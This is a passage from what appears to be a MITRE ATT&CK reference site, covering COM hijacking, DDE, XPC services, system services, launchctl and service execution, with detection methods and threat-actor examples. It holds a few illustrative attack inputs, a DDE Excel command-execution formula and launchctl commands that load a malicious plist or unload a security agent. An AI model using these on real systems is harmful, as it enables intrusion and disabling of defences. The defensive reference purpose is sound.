* **Elevation of Privilege**: Attackers may leverage COM Hijacking against objects instantiated by privileged processes, resulting in elevated privileges.
* **Persistence and Stealth**: COM Hijacking allows attackers to persistently execute malicious code each time the compromised COM object is invoked, often bypassing traditional startup locations monitored by defenders.

Real-world procedures typically involve:

* Identifying vulnerable COM objects through enumeration tools like PowerSploit, ProcMon, or custom scripts.
* Crafting malicious DLLs or executables to mimic legitimate COM objects.
* Modifying the registry to redirect COM object instantiation to attacker-controlled payloads.
* Employing obfuscation techniques and proxy DLLs to evade detection by endpoint security solutions.

## When this Technique is Usually Used

COM Hijacking is typically leveraged during multiple attack stages, including:

* **Persistence**: Establishing long-term footholds on compromised systems by ensuring malicious code executes whenever the targeted COM object is instantiated.
* **Privilege Escalation**: Targeting COM objects instantiated by higher privilege processes, enabling attackers to escalate privileges from standard user accounts to administrator or SYSTEM-level privileges.
* **Defense Evasion**: Bypassing endpoint detection and response (EDR) tools by executing malicious payloads through legitimate COM object invocations, making detection more challenging.
* **Execution**: Triggering malicious code execution indirectly through legitimate applications or processes invoking compromised COM objects, reducing suspicion and detection risk.

Attack scenarios include:

* Advanced Persistent Threat (APT) groups maintaining stealthy persistence on targeted systems.
* Malware campaigns employing COM Hijacking to evade signature-based detection.
* Insider threats manipulating COM objects to maintain covert access to corporate systems.

## How this Technique is Usually Detected

Detection methods for COM Hijacking typically involve monitoring and analyzing registry changes, DLL loads, and COM object instantiations. Effective detection strategies include:

* **Registry Monitoring**:
  * Continuously monitoring registry keys under `HKEY_CLASSES_ROOT\CLSID` for unauthorized or suspicious modifications.
  * Utilizing tools like Sysmon, Microsoft Defender for Endpoint, or Endpoint Detection and Response (EDR) solutions to track registry modification events.
* **DLL Load and Process Monitoring**:
  * Monitoring DLL loading events, especially within legitimate processes invoking COM objects, to detect anomalous or unsigned DLLs.
  * Analyzing DLL digital signatures and file hashes to identify unauthorized or malicious libraries.
* **Behavioral Analysis and Anomaly Detection**:
  * Leveraging endpoint protection platforms (EPP) and EDR solutions to detect anomalous behavior patterns, such as unusual COM object instantiations or unexpected DLL loads.
  * Employing threat hunting methodologies to proactively search for suspicious COM object usage.
* **Indicators of Compromise (IoCs)**:
  * Registry keys modified under `HKEY_CLASSES_ROOT\CLSID\{GUID}\InprocServer32` or `LocalServer32` pointing to suspicious or unauthorized DLLs/executables.
  * Presence of unsigned, recently created, or modified DLLs within system directories or unusual file locations.
  * Suspicious DLL file hashes or filenames identified by threat intelligence feeds or antivirus signatures.

Tools commonly used for detection include:

* Sysinternals Suite (Process Monitor, Autoruns, Sysmon)
* Microsoft Defender for Endpoint
* CrowdStrike Falcon, SentinelOne, Carbon Black EDR
* Threat hunting and SIEM solutions (Splunk, Elastic Security)

## Why it is Important to Detect This Technique

Detecting COM Hijacking is crucial due to the significant risks and impacts it poses to organizations, including:

* **Persistent Compromise**: Attackers can maintain persistent access to compromised systems, making remediation efforts more challenging and prolonged.
* **Privilege Escalation**: Successful COM Hijacking can enable attackers to escalate privileges, leading to full administrative or SYSTEM-level access, significantly increasing potential damage.
* **Defense Evasion**: COM Hijacking often bypasses traditional detection mechanisms, allowing attackers to evade antivirus, endpoint protection, and monitoring tools.
* **Data Exfiltration and Espionage**: Attackers leveraging COM Hijacking can covertly execute malicious payloads, enabling data theft, espionage, or sabotage operations.
* **System Integrity and Stability Risks**: Malicious COM object manipulation can lead to system instability, crashes, or operational disruption, impacting business continuity and productivity.

Early detection is essential to:

* Minimize attacker dwell time and reduce potential damage.
* Prevent privilege escalation and broader network compromise.
* Facilitate rapid incident response and effective remediation.
* Maintain regulatory compliance and protect sensitive data.

## Examples

Real-world examples and attack scenarios involving COM Hijacking include:

* **APT28 (Fancy Bear)**:
  * Leveraged COM Hijacking for stealthy persistence and privilege escalation in targeted espionage campaigns.
  * Modified COM object registry entries to execute custom payloads, maintaining covert access on compromised systems.
* **APT29 (Cozy Bear)**:
  * Utilized COM Hijacking techniques to maintain persistent access and evade detection in high-profile breaches.
  * Employed malicious DLLs loaded via compromised COM objects, enabling stealthy execution of espionage-oriented payloads.
* **Turla Group**:
  * Known to use COM Hijacking techniques extensively for persistence and defense evasion.
  * Leveraged legitimate COM objects redirected to malicious DLLs, executing espionage payloads without triggering traditional detection mechanisms.
* **Dridex Malware**:
  * Banking trojan known to exploit COM Hijacking for persistence and defense evasion.
  * Modified registry entries for COM objects to load malicious DLLs, enabling persistent access and credential theft from infected systems.
* **PowerSploit Framework**:
  * Offensive security toolkit frequently used by attackers and penetration testers to enumerate vulnerable COM objects and automate COM Hijacking attacks.
  * Provides scripts and modules specifically designed for identifying and exploiting COM Hijacking vulnerabilities.

These examples demonstrate the widespread adoption of COM Hijacking techniques across diverse threat actors and malware families, highlighting the importance of robust detection and mitigation strategies.


# Dynamic Data Exchange

Dynamic Data Exchange \[T1559.002]

## Information

* Name: Dynamic Data Exchange
* ID: T1559.002
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1559](/mitre/mitre/ta0002/t1559)

## Introduction

Dynamic Data Exchange (DDE) \[T1559.002] is a sub-technique within the MITRE ATT\&CK framework categorized under "Inter-Process Communication." DDE is a legacy Microsoft Windows inter-process communication mechanism that enables data exchange between applications. Attackers exploit DDE to execute malicious commands or payloads, often embedding them within legitimate documents or applications, bypassing traditional security mechanisms and leveraging native system functionality.

## Deep Dive Into Technique

Dynamic Data Exchange (DDE) is a client-server protocol enabling Windows applications to exchange data dynamically. Originally designed for legitimate purposes, attackers misuse DDE to execute arbitrary commands and scripts, typically through crafted Office documents.

Technical details include:

* **Mechanism of Execution:**
  * Attackers embed malicious DDE fields within Microsoft Office documents (Word, Excel, Outlook).
  * DDE fields can contain commands executed upon document opening without requiring macros.
  * Typical payloads include PowerShell scripts, command-line instructions, or downloading additional malware.
* **Execution Methods:**
  * Malicious DDE commands embedded in:
    * Word fields (`{DDEAUTO}` and `{DDE}`).
    * Excel formulas (`=cmd|' /c calc.exe'!A0`).
    * Outlook email messages (via embedded Office documents or inline DDE fields).
* **Real-world Procedures:**
  * Attackers send phishing emails containing malicious Office documents.
  * Users opening these documents trigger DDE commands, executing malicious payloads without macros enabled.
  * Attackers leverage DDE to evade macro-based security controls and endpoint protections.

## When this Technique is Usually Used

Attackers commonly leverage DDE in various attack stages and scenarios, including:

* **Initial Access:**
  * Phishing campaigns delivering malicious documents via email attachments.
  * Spear-phishing targeting specific individuals or organizations.
* **Execution:**
  * Immediate execution of malicious commands upon document opening.
  * Download and execution of second-stage payloads such as ransomware, trojans, or backdoors.
* **Defense Evasion:**
  * Bypassing macro security settings and endpoint antivirus solutions.
  * Exploiting legitimate Windows functionality to evade detection.
* **Delivery of Malware:**
  * Deploying ransomware payloads.
  * Dropping remote access trojans (RATs).
  * Establishing persistence through additional malware downloads.

## How this Technique is Usually Detected

Detection of malicious Dynamic Data Exchange (DDE) activity typically involves monitoring and analyzing system and network behaviors, including:

* **Endpoint Detection:**
  * Monitoring abnormal execution of command-line processes initiated by Office applications.
  * Observing unusual PowerShell or cmd.exe executions spawned from Office processes.
  * Implementing endpoint detection and response (EDR) solutions to identify anomalous parent-child process relationships.
* **Email Security Controls:**
  * Scanning email attachments for suspicious DDE fields or embedded commands.
  * Blocking or quarantining Office documents containing suspicious DDE fields.
* **Network Monitoring:**
  * Identifying network connections initiated by Office processes to suspicious external IP addresses or domains.
  * Detecting unusual download patterns indicative of second-stage payload retrieval.
* **IoCs (Indicators of Compromise):**
  * Suspicious command-line arguments executed by Office applications.
  * Unusual registry changes or scheduled tasks initiated by Office documents.
  * Network traffic to known malicious domains or IP addresses following document execution.
  * Office documents containing embedded DDE fields such as `{DDEAUTO}`, `{DDE}`, or suspicious Excel formulas (`=cmd|...`).

## Why it is Important to Detect This Technique

Early detection of malicious Dynamic Data Exchange (DDE) usage is crucial due to the significant potential impacts on systems and networks, including:

* **System Compromise:**
  * Execution of arbitrary commands leading to unauthorized access and control over affected systems.
  * Deployment of malware payloads resulting in compromised data integrity and confidentiality.
* **Data Exfiltration:**
  * Attackers leveraging initial DDE exploitation to establish persistent footholds, enabling long-term data theft.
* **Ransomware Attacks:**
  * Delivery of ransomware payloads capable of encrypting critical data and causing significant operational disruption.
* **Defense Evasion:**
  * Utilizing legitimate Windows processes and functionalities, attackers bypass traditional security defenses, complicating detection and remediation efforts.
* **Operational Impact:**
  * Organizations may experience downtime, financial losses, and reputational damage resulting from successful DDE-based attacks.

## Examples

Real-world examples demonstrating malicious Dynamic Data Exchange (DDE) usage include:

* **Necurs Botnet Campaign (2017):**
  * Attackers leveraged DDE fields embedded in Microsoft Word documents delivered via spam emails.
  * Upon opening, documents executed PowerShell scripts downloading malware payloads, including Locky ransomware.
  * Significant impact included widespread ransomware infections and data loss for affected organizations.
* **FIN7 Cybercrime Group Attacks:**
  * FIN7 utilized DDE-based documents in targeted spear-phishing campaigns against financial institutions.
  * Malicious Excel documents contained embedded DDE formulas executing command-line instructions to download and install Carbanak malware.
  * Resulted in financial theft and data breaches impacting multiple banks and financial entities.
* **Hancitor Malware Distribution:**
  * Attackers distributed malicious Word documents containing DDE fields via phishing emails.
  * Documents executed cmd.exe commands downloading and executing the Hancitor malware payload.
  * Hancitor subsequently deployed secondary payloads such as banking trojans and ransomware.
* **APT28 (Fancy Bear) Campaigns:**
  * Russian-linked threat actor APT28 utilized DDE techniques in spear-phishing campaigns targeting government and military entities.
  * Malicious Office documents executed PowerShell commands retrieving further malware payloads.
  * Resulted in espionage activities and unauthorized data exfiltration from targeted organizations.


# XPC Services

XPC Services \[T1559.003]

## Information

* Name: XPC Services
* ID: T1559.003
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1559](/mitre/mitre/ta0002/t1559)

## Introduction

XPC Services (Cross Process Communication Services) is a sub-technique categorized under technique T1559 (Inter-Process Communication) within the MITRE ATT\&CK framework. XPC services are native macOS mechanisms that facilitate secure inter-process communication and privilege separation. Attackers exploit XPC services to execute unauthorized commands or code, escalate privileges, or achieve persistence by leveraging legitimate communication channels between applications and processes.

## Deep Dive Into Technique

XPC is a macOS-specific inter-process communication (IPC) mechanism designed to securely exchange data between processes. Apple introduced XPC to enhance security by isolating tasks into separate processes and restricting their privileges. However, attackers can exploit XPC services due to their inherent trust and legitimate use within macOS.

Technical details include:

* XPC services typically reside within an application's bundle under `Contents/XPCServices/`.
* Communication occurs via plist-based messages exchanged through XPC APIs provided by Apple.
* Attackers may abuse existing XPC services or create malicious XPC services to execute arbitrary code or commands.
* Malicious actors may inject or hijack legitimate XPC services to escalate privileges, maintain persistence, or evade detection.
* XPC services run under the context of their hosting application, potentially allowing attackers to inherit elevated privileges.
* Attackers may craft specific XPC messages to exploit vulnerabilities in applications or system services, causing unintended behavior or code execution.

Real-world procedures attackers might follow:

1. Identify vulnerable or misconfigured XPC services on the target macOS system.
2. Craft malicious XPC messages or payloads designed to trigger unintended functionality or exploit vulnerabilities.
3. Hijack or inject malicious code into existing legitimate XPC services.
4. Create malicious XPC services within legitimate application bundles to maintain persistence.
5. Leverage compromised XPC services to escalate privileges and perform lateral movement within the target environment.

## When this Technique is Usually Used

Attackers commonly utilize XPC Services in various phases of an attack lifecycle, including:

* **Persistence**: Attackers can implant malicious XPC services within legitimate application bundles to ensure persistence across reboots.
* **Privilege Escalation**: Exploiting vulnerabilities or misconfigurations in XPC services can allow attackers to escalate privileges from standard user accounts to root or higher privileges.
* **Defense Evasion**: Leveraging legitimate XPC services helps attackers blend malicious activities with normal operating system behavior, complicating detection.
* **Execution**: Attackers may execute arbitrary commands or payloads through compromised or malicious XPC services.
* **Lateral Movement**: Once a foothold is established, attackers may exploit XPC services to move laterally between applications and processes within macOS environments.

## How this Technique is Usually Detected

Detection of malicious use of XPC services involves monitoring and analyzing various aspects of macOS behavior, including:

* **Process Monitoring**:
  * Identify unusual process executions or abnormal parent-child relationships involving XPC services.
  * Monitor processes spawned from unexpected locations or application bundles.
* **File System Monitoring**:
  * Detect new or modified XPC services within application bundles (`Contents/XPCServices/`).
  * Monitor file integrity and changes within application directories, especially after suspicious activity.
* **Network Monitoring**:
  * Identify unusual network connections or outbound traffic initiated by XPC-related processes.
* **Endpoint Detection and Response (EDR)**:
  * Use macOS-specific EDR solutions to detect suspicious XPC service interactions and behaviors.
  * Analyze logs and telemetry data from endpoints for anomalous XPC service communications.
* **Audit Logging**:
  * Enable macOS audit logs to capture detailed events related to XPC service creation, execution, and communication.
  * Analyze audit logs regularly for anomalies and suspicious patterns.

Specific Indicators of Compromise (IoCs):

* Unexpected XPC service binaries or bundles appearing in application directories.
* Unusual plist files or configuration files associated with XPC services.
* Anomalous XPC communication patterns between processes.
* Suspicious processes spawned by XPC services, especially those with elevated privileges.

## Why it is Important to Detect This Technique

Detecting malicious exploitation of XPC services is crucial due to potential severe impacts on systems and networks, including:

* **Privilege Escalation**:
  * Attackers may escalate privileges and gain root-level access, significantly increasing their control over compromised systems.
* **Persistence and Long-Term Access**:
  * Malicious XPC services can provide attackers persistent and stealthy access, making remediation challenging.
* **Data Exfiltration**:
  * Attackers may leverage compromised XPC services to exfiltrate sensitive information, credentials, or intellectual property.
* **Defense Evasion and Stealth**:
  * Abuse of legitimate macOS mechanisms like XPC services allows attackers to evade traditional detection methods, increasing dwell time.
* **Operational Impact**:
  * Compromise of XPC services can disrupt legitimate system functionality, degrade performance, and reduce system stability.

Early detection and response to malicious XPC service activity can significantly reduce attacker dwell time, minimize potential damage, and protect critical assets and sensitive data.

## Examples

Real-world examples illustrating malicious usage of XPC services:

* **OSX.Dok Malware**:
  * Utilized malicious XPC services to establish persistence and perform man-in-the-middle attacks, intercepting encrypted communications.
  * Installed a malicious XPC service within legitimate application bundles to evade detection and maintain long-term access.
* **XCSSET Malware**:
  * Leveraged XPC services to inject malicious code into legitimate macOS applications like Xcode, allowing attackers to spread malware through software development environments.
  * Exploited XPC communications to execute arbitrary commands and steal sensitive information, including browser cookies and credentials.
* **EvilQuest (ThiefQuest) Malware**:
  * Incorporated malicious XPC services to perform ransomware and data theft activities.
  * Used compromised XPC services to evade detection, escalate privileges, and maintain persistent control over infected macOS systems.

These examples demonstrate attackers' ability to exploit XPC services effectively, underscoring the importance of robust detection mechanisms and proactive monitoring strategies.


# System Services

System Services \[T1569]

## Information

* Name: System Services
* ID: T1569
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Sub-Technique: [T1569.001](/mitre/mitre/ta0002/t1569/t1569.001), [T1569.002](/mitre/mitre/ta0002/t1569/t1569.002)

## Introduction

System Services is a technique categorized under the MITRE ATT\&CK framework (T1569), falling within the Execution and Persistence tactics. Attackers abuse legitimate system services or create malicious services to execute malicious payloads, maintain persistence, escalate privileges, or achieve lateral movement within compromised environments. System services typically run with elevated privileges, making them attractive targets for exploitation and abuse.

## Deep Dive Into Technique

System services are background processes managed by the operating system, typically running with higher privileges than standard user processes. Attackers can exploit or abuse these services in several ways:

* **Creation of Malicious Services:**
  * Attackers leverage built-in Windows tools such as `sc.exe`, `services.msc`, or PowerShell cmdlets (`New-Service`) to create new malicious services.
  * Malicious services can be configured to execute payloads at system boot, system startup, or upon specific events, ensuring persistent access.
* **Modification of Existing Services:**
  * Attackers may hijack legitimate services by modifying the binary path or startup parameters to execute malicious payloads.
  * Common methods include modifying registry entries, such as:
    * `HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\ImagePath`
  * Attackers may alter service permissions to maintain persistence and evade detection.
* **Service Execution Methods:**
  * Services can be configured to run binaries, scripts, or DLL files.
  * Attackers frequently utilize:
    * Executable files (.exe)
    * DLL files executed via `svchost.exe`
    * Scripts (PowerShell, batch scripts)
  * Attackers may also exploit services running under privileged accounts (SYSTEM or Administrator) to escalate privileges or perform lateral movement.
* **Service Triggers and Conditions:**
  * Windows supports service triggers that start services based on specific system events or conditions, providing attackers stealthy execution mechanisms.
  * Attackers may leverage these triggers to execute payloads only under certain conditions, reducing detection possibilities.

## When this Technique is Usually Used

Attackers commonly employ the System Services technique at various stages of cyber-attacks, including:

* **Initial Access and Execution:**
  * After initial compromise, attackers may quickly establish persistence by creating malicious services.
  * Execution of payloads through services provides stealth and reliable execution environments.
* **Persistence:**
  * System services provide attackers with a robust persistence mechanism, ensuring that malicious payloads execute automatically at system reboot or logon.
* **Privilege Escalation:**
  * Exploiting or abusing services running with elevated privileges (SYSTEM, Administrator) allows attackers to escalate privileges within compromised environments.
* **Defense Evasion:**
  * Attackers may use existing legitimate services or services with ambiguous names to evade detection.
  * Leveraging built-in Windows components to create or modify services reduces suspicion and bypasses some security controls.
* **Lateral Movement:**
  * Attackers may remotely create or modify services on other systems within compromised networks to spread laterally and establish footholds on multiple hosts.

## How this Technique is Usually Detected

Detection of malicious system services involves monitoring, logging, and analyzing service creation, modification, and execution activities. Common detection methods and tools include:

* **Event Logs and Auditing:**
  * Monitor Windows Event Logs, specifically:
    * Event ID 4697 (Service Creation)
    * Event ID 7045 (New Service Installed)
    * Event ID 7036 (Service state changes)
  * Enable auditing and logging of registry key modifications related to service configurations:
    * `HKLM\SYSTEM\CurrentControlSet\Services\`
* **Endpoint Detection and Response (EDR) Tools:**
  * Utilize EDR solutions to detect suspicious service creations, modifications, or executions.
  * EDR tools may provide behavioral analysis, anomaly detection, and real-time alerts.
* **Behavioral Analysis:**
  * Monitor for unusual service names, paths, or binaries executing from uncommon directories (e.g., temp folders, user directories).
  * Detect services executing PowerShell scripts, batch files, or uncommon binaries.
* **Threat Hunting and Indicators of Compromise (IoCs):**
  * Look for suspicious service names mimicking legitimate services (e.g., slight misspellings or unusual naming conventions).
  * Identify unusual binaries or scripts executed as services.
  * IoCs include:
    * Creation of services with random or suspicious names.
    * Services executing binaries from temporary or user-specific directories.
    * Modification of legitimate services' registry entries (ImagePath, Parameters).
    * Unexpected scheduled service executions or triggers.
* **SIEM and Centralized Logging:**
  * Aggregate and analyze logs from endpoints and servers to detect anomalous service-related activities.
  * Leverage correlation rules and alerts to identify suspicious service creations or modifications.

## Why it is Important to Detect This Technique

Early detection of malicious system services is critical due to the high impact associated with their abuse:

* **Persistent Access:**
  * Malicious services grant attackers persistent footholds within compromised environments, allowing long-term access and repeated exploitation.
* **Privilege Escalation:**
  * Exploiting services running with elevated privileges enables attackers to escalate privileges, potentially leading to full system compromise or domain-wide impacts.
* **Stealth and Evasion:**
  * Attackers leverage system services to evade detection, as services often run with legitimate privileges and are less likely to trigger immediate suspicion.
* **Lateral Movement:**
  * Malicious services can facilitate lateral movement within networks, increasing the scope and severity of breaches.
* **System Stability and Integrity:**
  * Abuse of system services can negatively impact system performance, stability, and reliability, leading to potential downtime or disruption of critical services.
* **Data Exfiltration and Damage:**
  * Attackers can leverage malicious system services to execute payloads capable of data theft, ransomware deployment, or destructive activities.

## Examples

Real-world examples of attackers leveraging the System Services technique include:

* **APT41 (Winnti Group):**
  * Utilized malicious Windows services to maintain persistence and execute payloads during targeted intrusions.
  * Created services with legitimate-sounding names or modified existing services to execute malicious DLLs via `svchost.exe`.
* **Lazarus Group:**
  * Created malicious services to execute payloads persistently, often using service names resembling legitimate Windows components.
  * Modified existing services or registry entries to hijack legitimate processes for stealthy execution.
* **FIN7/Carbanak:**
  * Employed malicious services for persistent execution of malware payloads.
  * Utilized PowerShell scripts and binaries executed via services to evade detection and maintain stealthy operations.
* **DarkSide Ransomware:**
  * Leveraged malicious services to deploy ransomware payloads across compromised networks.
  * Created services remotely to execute ransomware binaries on multiple systems simultaneously.
* **TrickBot Malware:**
  * Used malicious Windows services for persistence and lateral movement within infected networks.
  * Modified service configurations and registry entries to execute malicious payloads at system startup.

In these attack scenarios, the use of malicious system services significantly enhanced attackers' capabilities to maintain persistence, escalate privileges, evade detection, and expand their compromise scope.


# Launchctl

Launchctl \[T1569.001]

## Information

* Name: Launchctl
* ID: T1569.001
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1569](/mitre/mitre/ta0002/t1569)

## Introduction

Launchctl (T1569.001) is a sub-technique within MITRE ATT\&CK's Execution tactic, specifically categorized under System Services (T1569). Launchctl is a built-in macOS utility used to manage LaunchDaemons and LaunchAgents, which are responsible for initiating system-level and user-level services, respectively. Attackers frequently exploit launchctl to execute malicious scripts or binaries persistently or to escalate privileges by configuring malicious tasks that run automatically at system startup or user login.

## Deep Dive Into Technique

Launchctl is a command-line utility native to macOS, used to control and manage LaunchDaemons and LaunchAgents, which are plist-based configuration files located in specific directories:

* System-level LaunchDaemons:
  * `/Library/LaunchDaemons/`
  * `/System/Library/LaunchDaemons/`
* User-level LaunchAgents:
  * `/Library/LaunchAgents/`
  * `~/Library/LaunchAgents/`

Attackers leverage launchctl by placing malicious plist files into these directories or modifying existing legitimate plist files. Common execution methods include:

* Creating new plist files containing paths to malicious scripts or binaries.
* Modifying existing plist files to execute additional malicious payloads.
* Using `launchctl load` commands to register the malicious plist files immediately.
* Ensuring persistence by configuring plist files to execute payloads at system boot or user login.
* Manipulating plist entries to escalate privileges by running scripts or binaries as root through LaunchDaemons.

Attackers may use the following commands to interact with launchctl:

* Load a malicious plist:

  ```bash
  launchctl load /Library/LaunchDaemons/com.example.malicious.plist
  ```
* Unload an existing plist (for stealth or disabling security tools):

  ```bash
  launchctl unload /Library/LaunchDaemons/com.apple.security.plist
  ```
* List currently loaded services:

  ```bash
  launchctl list
  ```

## When this Technique is Usually Used

Attackers typically utilize launchctl at various stages of an attack lifecycle, including:

* Persistence:
  * Ensuring malicious scripts or binaries execute automatically upon system reboot or user login.
  * Maintaining long-term foothold within compromised systems.
* Privilege Escalation:
  * Leveraging LaunchDaemons to execute payloads with root privileges, bypassing normal user restrictions.
* Execution:
  * Immediate execution of malicious payloads or scripts through launchctl commands.
* Defense Evasion:
  * Disabling or unloading legitimate security tools or monitoring agents to reduce detection risks.

Scenarios where launchctl is commonly employed include:

* Initial compromise: Attackers may quickly establish persistence after initial access.
* Post-exploitation: Attackers maintain persistence or escalate privileges after gaining initial foothold.
* Lateral movement: Attackers deploying malicious agents or scripts to facilitate movement to other systems within macOS environments.

## How this Technique is Usually Detected

Detection methods for launchctl abuse include:

* Monitoring filesystem events:
  * Identify unexpected creation or modification of plist files in sensitive directories:
    * `/Library/LaunchDaemons/`
    * `/Library/LaunchAgents/`
    * `~/Library/LaunchAgents/`
* Analyzing command-line audit logs:
  * Detect suspicious execution of `launchctl load` or `launchctl unload` commands.
  * Monitor for unusual interactions with launchctl by uncommon or unauthorized users.
* Endpoint Detection and Response (EDR) tools:
  * Detect anomalous processes spawned by launchd (parent process of launchctl-managed services).
  * Alert on suspicious plist file creations or modifications and execution behaviors.
* Reviewing system logs:
  * `/var/log/system.log` and audit logs for launchctl-related entries.
  * macOS unified logging (`log` command) can provide detailed events related to launchctl usage.

Specific Indicators of Compromise (IoCs):

* Presence of unknown or suspicious plist files in LaunchDaemons or LaunchAgents directories.
* Unexpected processes running persistently after reboot or login.
* Unusual launchctl commands executed from users or contexts that normally do not use this utility.

## Why it is Important to Detect This Technique

Detecting malicious use of launchctl is crucial due to several potential impacts:

* Persistent access:
  * Attackers can maintain long-term footholds, complicating remediation efforts.
  * Persistent threats lead to extended data exfiltration, espionage, or sabotage activities.
* Privilege escalation risks:
  * Exploitation of LaunchDaemons can grant attackers root-level privileges, significantly increasing the severity of an intrusion.
  * Elevated privileges allow attackers to disable security controls, install rootkits, or deeply embed malware.
* Defense evasion:
  * Attackers can unload or disable security monitoring tools, significantly reducing visibility and response capabilities.
  * Early detection prevents attackers from establishing stealthy persistence mechanisms.
* Operational disruption:
  * Malicious launchctl configurations can affect system stability, causing performance degradation or service outages.
  * Compromised LaunchDaemons can disrupt critical system services, leading to downtime or data loss.

Early detection and response reduce the attacker's dwell time, limit damage, and prevent deeper compromise of sensitive systems and networks.

## Examples

Real-world examples demonstrating malicious use of launchctl include:

* **OSX.Dok malware**:
  * Attackers used launchctl to load malicious LaunchAgents, establishing persistent access.
  * Malware installed fake root certificates and intercepted HTTPS traffic.
  * Impact: Credential theft, sensitive data exfiltration, and compromised network security.
* **OSX/Linker malware**:
  * Leveraged launchctl to persistently execute malicious payloads upon user login.
  * Malware delivered second-stage payloads that collected sensitive information and communicated with command-and-control (C2) servers.
  * Impact: Persistent backdoor access, data exfiltration, and compromised user privacy.
* **Shlayer malware**:
  * Utilized launchctl to register LaunchAgents executing malicious scripts downloading additional payloads.
  * Malware spread via malicious advertisements and fake software updates.
  * Impact: Installation of adware, spyware, and further malware distribution.
* **XCSSET malware**:
  * Injected malicious LaunchAgents via launchctl commands to persistently execute payloads.
  * Targeted developers' systems, stealing credentials, sensitive files, and injecting malicious code into software projects.
  * Impact: Data theft, compromised development environments, and potential supply chain attacks.

These examples highlight the critical role of launchctl in macOS-based attacks, underscoring the importance of robust monitoring and detection mechanisms to identify and mitigate threats effectively.


# Service Execution

Service Execution \[T1569.002]

## Information

* Name: Service Execution
* ID: T1569.002
* Tactics: [TA0002](/mitre/mitre/ta0002)
* Technique: [T1569](/mitre/mitre/ta0002/t1569)

## Introduction

Service Execution (T1569.002) is a sub-technique within the MITRE ATT\&CK framework under the broader category of System Services (T1569). This sub-technique encompasses adversary behaviors involving the abuse or misuse of legitimate system services to execute commands or malicious payloads. Attackers exploit services such as Windows services, Linux daemons, or other operating system service mechanisms to maintain persistence, escalate privileges, or execute malicious code. The use of legitimate services helps adversaries blend into normal system operations, making detection and attribution more challenging.

## Deep Dive Into Technique

Adversaries leveraging Service Execution typically exploit legitimate functionality offered by system services across various operating systems (Windows, Linux, macOS) to execute malicious payloads or commands. Technical details include:

* **Windows Services:**
  * Attackers may create new malicious services using tools like `sc.exe`, `powershell.exe`, or registry modifications.
  * Existing services can be modified to execute malicious binaries or scripts.
  * Commonly abused Windows services include `svchost.exe`, `services.exe`, and scheduled tasks running as system services.
  * Persistence is often established by setting malicious services to automatically start with system boot.
* **Linux Daemons and Systemd Services:**
  * Attackers may create or modify systemd `.service` files located in `/etc/systemd/system/` or `/lib/systemd/system/`.
  * Malicious scripts or binaries can be executed with root privileges through systemd or init scripts.
  * Attackers may leverage cron jobs or init scripts located in `/etc/init.d/` to execute payloads at boot or specific intervals.
* **macOS LaunchDaemons:**
  * Malicious actors may create or modify `plist` files in `/Library/LaunchDaemons/` or `/Library/LaunchAgents/`.
  * These files can automatically execute malware at startup or user login with elevated privileges.
* **Execution Mechanisms:**
  * Adversaries commonly use command-line utilities (`sc.exe`, `systemctl`, `launchctl`) to manage services.
  * Scripts (PowerShell, Bash, Python) are often leveraged to automate service creation or modification.
  * Malicious payloads executed via services often run with elevated privileges, increasing the potential impact.
* **Real-world Procedures:**
  * Attackers commonly combine this sub-technique with privilege escalation exploits, credential dumping, or lateral movement.
  * Malware families such as TrickBot, Emotet, and Lazarus Group tools have leveraged service execution to achieve persistence and stealthy execution.

## When this Technique is Usually Used

Adversaries commonly employ Service Execution in multiple stages of the cyber kill chain, including:

* **Persistence:**
  * Creating or modifying services ensures malware or backdoors survive system reboots.
  * Ensures continued access to compromised systems for prolonged periods.
* **Privilege Escalation:**
  * Exploiting services running with elevated privileges (SYSTEM/root) allows attackers to escalate privileges.
  * Manipulating service configurations or binaries to gain higher-level access.
* **Execution:**
  * Leveraging legitimate service processes to execute malicious payloads, reducing suspicion and detection likelihood.
  * Enhances stealth by blending malicious activities within normal system operations.
* **Lateral Movement:**
  * Attackers can remotely create or manipulate services on other hosts within the network using compromised credentials.
  * Facilitates rapid propagation across networked systems.
* **Defense Evasion:**
  * Using legitimate services and processes helps evade traditional antivirus and endpoint detection tools.
  * Malicious activity masked by normal system service behavior complicates forensic analysis.

## How this Technique is Usually Detected

Detection of Service Execution (T1569.002) involves monitoring and analyzing system-level events, service configurations, and process behaviors. Common detection methods and indicators of compromise (IoCs) include:

* **Event Log Monitoring:**
  * Windows Security Event Logs (Event ID 4697 - Service Creation, Event ID 7045 - Service Installation).
  * Linux system logs (`/var/log/syslog`, `/var/log/messages`) for changes in systemd or init scripts.
  * macOS Unified Logs and system logs for new LaunchDaemons or LaunchAgents.
* **Endpoint Detection and Response (EDR):**
  * Monitoring processes (`sc.exe`, `systemctl`, `launchctl`) used to create or modify services.
  * Behavioral analysis detecting anomalous service creation or modification events.
* **File Integrity Monitoring (FIM):**
  * Detecting unauthorized changes to service configuration files (`.service`, `.plist`, or registry entries).
  * Monitoring binary paths and hashes associated with critical services.
* **Indicators of Compromise (IoCs):**
  * Suspicious service names or descriptions that mimic legitimate services.
  * Services pointing to binaries located in unusual directories (`%TEMP%`, `/tmp/`, user directories).
  * Newly created services with unusual startup parameters (automatic, delayed, or manual).
  * Unexpectedly stopped or disabled legitimate services.
* **SIEM and Centralized Logging:**
  * Aggregation of logs and correlation rules to identify suspicious patterns of service manipulation.
  * Alerting on anomalous behaviors such as rapid service creation or modification across multiple endpoints.

## Why it is Important to Detect This Technique

Early detection of Service Execution is critical due to the significant potential impact on organizations. Key reasons include:

* **Persistence and Long-term Compromise:**
  * Undetected malicious services can persist indefinitely, providing attackers continuous access and control.
  * Early detection prevents prolonged unauthorized access and reduces dwell time.
* **Privilege Escalation and Elevated Access:**
  * Malicious services often execute with elevated privileges, allowing attackers to further compromise sensitive data and critical systems.
  * Detection can prevent attackers from escalating privileges and limit potential damage.
* **Stealth and Defense Evasion:**
  * Leveraging legitimate services complicates detection and forensic analysis.
  * Identifying malicious services early prevents attackers from blending into normal system operations and evading security controls.
* **Rapid Lateral Movement:**
  * Attackers frequently use service execution to propagate rapidly across internal networks.
  * Prompt detection and response limit lateral movement and reduce the scope of compromise.
* **Data Exfiltration and System Damage:**
  * Malicious services can facilitate data theft, ransomware deployment, and sabotage of critical business operations.
  * Early detection mitigates the risk of severe operational disruption and data breaches.

## Examples

Real-world examples of adversaries leveraging Service Execution (T1569.002) include:

